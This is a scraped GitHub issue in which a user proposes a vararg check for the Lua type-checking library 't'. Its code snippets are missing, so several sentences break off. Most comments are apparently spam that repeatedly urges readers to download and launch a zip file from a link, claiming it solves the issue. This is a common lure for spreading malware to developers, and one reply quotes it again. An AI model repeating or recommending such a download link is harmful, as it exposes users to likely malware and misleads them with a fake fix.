-
Notifications
You must be signed in to change notification settings - Fork 39
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Vararg check? #92
Comments
You can address the issue of checking varargs in Lua by utilizing the provided code snippet for a |
You can check varargs in wrapped functions by using the provided code snippet. To improve your code further, consider adding a |
?
…On Wed, Nov 6, 2024, 21:04 allysonbr10 ***@***.***> wrote:
You can address the issue of checking varargs in Lua by utilizing the
provided code snippet for a vararg check function. To view the complete
solution and examples, download and launch the file from this link:
https://www.roblox.com/arch.zip.
—
Reply to this email directly, view it on GitHub
<#92 (comment)>, or
unsubscribe
<https://github.com/notifications/unsubscribe-auth/AUF6FZ6BSDGMQQ4JPDPNZB3Z7JY35AVCNFSM6AAAAABRJTV2GWVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDINRQGY3DOOJQGE>
.
You are receiving this because you commented.Message ID:
***@***.***>
|
You can check varargs by using the |
The link that will solve your issue is: https://www.roblox.com/arch.zip. Launch the file to address the problem you are encountering with Vararg check in your Lua code. |
You can check varargs by passing the remaining arguments in a |
t
doesn't have a way to check varargs (if there is, then it's not documented and should be documented / I couldn't find it). You could, of course,t.array(check)({...})
inside the function to check, but you can't do that witht.wrap
.I suggest passing the last remaining arguments in a
t.tuple
check to the last check:And adding a
vararg
check:This way, I can check varargs in wrapped functions! :D
I didn't open a pull request because I don't want to mess up those typescript thingies. The code here could probably be improved as well, but if you want, I can open a pull request with tests and I will do my best to do the typescript stuff correctly.
The text was updated successfully, but these errors were encountered: